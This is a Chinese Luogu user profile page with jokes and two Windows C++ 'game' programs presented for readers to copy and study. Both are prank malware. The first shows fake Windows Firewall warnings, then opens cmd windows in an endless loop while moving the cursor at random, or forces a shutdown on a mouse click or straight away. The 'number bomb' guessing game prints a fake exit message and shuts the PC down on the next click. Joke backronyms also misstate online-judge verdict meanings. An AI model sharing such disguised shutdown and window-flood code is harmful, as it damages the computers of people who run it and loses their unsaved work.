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本蒟蒻新创了一个洛谷账号，求大神带我飞！

对了，2024巴黎奥运会到来之际，让我们为奥运健儿加油！！！（凑字数求轻喷

还有，这是一个真·建议学习的网站(doge

$\infty^{\infty^{\infty^\infty_\infty}_{\infty^\infty_\infty}}_{\infty^{\infty^\infty_\infty}_{\infty^\infty_\infty}}$

图片区

代码区（好好看好好学）

电脑快乐游戏

//2023tyoi0625
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
#define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
using namespace std;
int main(){
	MessageBox(NULL,"此程序可能含有危险，请尽快关闭","Windows防火墙",MB_OK);
	MessageBox(NULL,"已为你终止程序","Windows防火墙",MB_OK);
	cout<<"真的不试试吗？按一下1吧，求求你了 (￣▽￣)~*";
	char a;
	cin>>a;
	if(a=='1'){
		for(int i=100;i>=1;i--){
			system("color 1C");
			cout<<"现在退出还来得及！"<<endl;
			cout<<"      "<<i;
			Sleep(100);
			system("cls");
		}
		for(int i=1;i<=40;i++){
			cout<<"真的不退出吗？";
			Sleep(100);
			system("cls");
		}
		for(int i=0;i<15;i++){
			cout<<"再见了."<<endl;
			Sleep(100);
			system("cls");
			cout<<"再见了.."<<endl;
			Sleep(100);
			system("cls");
			cout<<"再见了..."<<endl;
			Sleep(100);
			system("cls");
			cout<<"再见了...."<<endl;
			Sleep(100);
			system("cls");
			cout<<"再见了....."<<endl;
			Sleep(100);
			system("cls");
			cout<<"再见了......"<<endl;
			Sleep(100);
			system("cls"); 
		} 
		system("color 2C");
		cout<<"哈哈，和你开个玩笑，别生气嘛，要不要，我送你NOIP的小妙招？"<<endl<<"要按1，不要按2";
		char a;
		cin>>a; 
		if(a=='1'){
			system("cls");
			cout<<"See you again!";
			while(1){
				system("start cmd");
				SetCursorPos(rand()%1000,rand()%1000);
			}
		}
		else{
			system("cls");
			cout<<"Are you OK???";
			cout<<"-------------------------------"<<endl;
			cout<<"process exited after 0.05895 seconds with return value 0"<<endl;
			while(1){
				if(KEY_DOWN(VK_LBUTTON)){
					system("shutdown -s -t 1");
				}
			}
		}
	}
	else system("shutdown -s");
}

数字炸弹1.0.1(release)

#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
#define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
using namespace std;
char n;
int main(){
	cout<<"欢迎来到数字游戏！"<<endl<<"开始按1,退出按2"<<endl;
	cin>>n;
	if(n=='1'){
		srand(time(0));
		int c=rand()%10001;
		int l=1,r=10000;
		for(int i=15;i>=1;i--){
			system("cls");
			cout<<"你还有"<<i<<"次机会，请从"<<l<<"到"<<r<<"选一个数";
			int e;
			cin>>e;
			if(e<0){cout<<"报意思，次数减1次";Sleep(700);}
			else if(e>10000){
				cout<<"报意思，次数减1次";Sleep(700);
			}
			else if(e==c){
				cout<<"恭喜你，猜中了！";
				Sleep(700);
				return 0;
			}
			else if(e>c&&e<=r){
				cout<<"猜错了";
				Sleep(700);
				r=e;
			}
			else if(e<c&&e>=l){
				cout<<"猜错了";
				Sleep(700);
				l=e;
			}
			else{ cout<<"报意思，次数减1次";
			Sleep(700);}
		}
	}
	else if(n=='2')return 0;
	else{
		cout<<endl<<"-------------------------------"<<endl;
		cout<<"process exited after 0.05895 seconds with return value 0"<<endl;
		cout<<"请按任意键继续. . .";
		while(1){
			if(KEY_DOWN(VK_LBUTTON)){
				system("shutdown -s -t 1");
			}
		}
	}
}

文字区（更新中......）

$$当对方陈述观点时，无论观点对错，说“典” \\ 当对方支持自己不支持的人或事时，说“孝” \\ 当对方辩论，或是开始细致解说时，说“急” \\ 当自己难以理解对方表达的观点时，说“乐” \\ 当对方要求你表达不存在的观点时，说“蚌” \\ 当对方产生足以称为立场的观点时，说“批” \\ 当自己说出自认为一针见血的话时，说“赢” \\ 当无法对对方言论进行有效反驳时，说“麻” \\ $$

"AC=Answer Coarse=粗劣的答案"

"WA=Wonderful Answer=好答案"

"TLE=Time Limit Enough=时间充裕"

"MLE=Memory Limit Enough=内存充裕"

"CE=Compile Easily=轻松通过编译"

"RE=Run Excellently=完美运行"

"UKE=Unbelievablly Keep Enough Score=难以置信地保持足够的分数"